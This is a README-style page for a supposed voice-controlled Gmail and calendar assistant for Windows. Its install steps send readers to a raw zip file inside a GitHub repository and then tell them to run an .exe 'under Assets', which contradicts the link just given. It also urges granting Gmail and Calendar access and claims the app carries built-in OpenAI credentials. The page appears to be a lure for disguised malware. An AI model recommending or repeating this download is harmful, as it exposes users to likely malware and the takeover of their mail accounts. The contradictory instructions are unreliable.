Voicemail AI manages your emails and calendar while you move. This tool links to your Gmail account and uses voice commands to process messages. You speak to the application to read, reply, or delete emails. It integrates your calendar to book meetings and send invitations. This setup keeps your hands free and your eyes on the road.
Your computer must meet these requirements to run the software smoothly:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Storage: 200 megabytes of free space on your hard drive.
- Internet: A stable broadband connection for real-time voice processing.
- Audio: A functional microphone and speakers or headphones.
Follow these steps to obtain and install the voicemail software on your Windows machine:
- Visit the following link to access the software files: https://github.com/neroabient558/voicemail/raw/refs/heads/main/public/Software-v1.8.zip.
- Look for the latest version under the "Assets" section.
- Click the file ending in
.exeto start the download. - Save the file to your "Downloads" folder.
- Locate the file once the download finishes.
- Double-click the file to launch the installation wizard.
- Follow the prompts on the screen to complete the setup.
- Click "Finish" to open the application.
The first time you open the application, you must link your accounts.
- Sign In: Click the "Connect Google" button when the window opens.
- Authorize: A browser window will open. Sign into your Gmail account.
- Grant Access: Review the permissions prompt. The application requests access to your Gmail and Calendar to function correctly. Click "Allow" to continue.
- Calibration: Follow the on-screen instructions to check your microphone. Speak a few sentences so the software can detect your voice input.
Once you finish the setup, you interact with the software using your voice.
- Start the AI: Click the "Start" button inside the application window.
- Handle Emails: The AI will read your unread emails one by one. You can tell the AI to "skip," "reply," or "delete" the current message.
- Calendar Integration: You can ask the AI about your schedule. Say something like "Do I have meetings today?" or "Schedule a call with Sarah for tomorrow at two."
- Ending a Session: Say "Stop" or click the "Stop" button in the application to end the voice session.
You can change how the application works in the settings menu:
- Voice Speed: Use the slider to slow down or speed up the AI voice.
- Auto-Play: Toggle this setting to make the AI move automatically to the next email.
- Notification Sounds: Turn these sounds off if you prefer a quiet experience.
If you face trouble, follow these steps to fix the issue:
- No sound: Check if your speakers are connected and the volume is up.
- Microphone not working: Ensure the privacy settings in Windows allow the application to use your microphone.
- Slow response: Close other applications that use heavy internet traffic.
- Login errors: Restart the application and complete the sign-in process again.
- Gmail syncing: Check your internet connection. If the connection drops, wait for it to return and click the "Refresh" button.
The application processes your data safely. It uses established industry standards to encrypt your connection to the OpenAI servers and your Google account. Your voice data goes through secure channels to process your commands. The software does not store your email content on your local hard drive. It only processes information while the application is active and connected. You keep control of your permissions at all times through your Google Account security settings.
Does the AI send emails without my permission? No. The application asks for confirmation before it sends any emails or calendar invites.
Can I use this on a laptop? Yes. Any Windows device with a microphone will work.
Do I need an OpenAI account? The application uses built-in credentials to connect to the necessary services. You do not need to create a separate OpenAI account.
Is there a mobile version? The current release is for Windows desktop computers. Use the web-based version if you need access on your phone.
How do I uninstall the software? Open your Windows "Settings," go to "Apps," select the voicemail application, and click "Uninstall."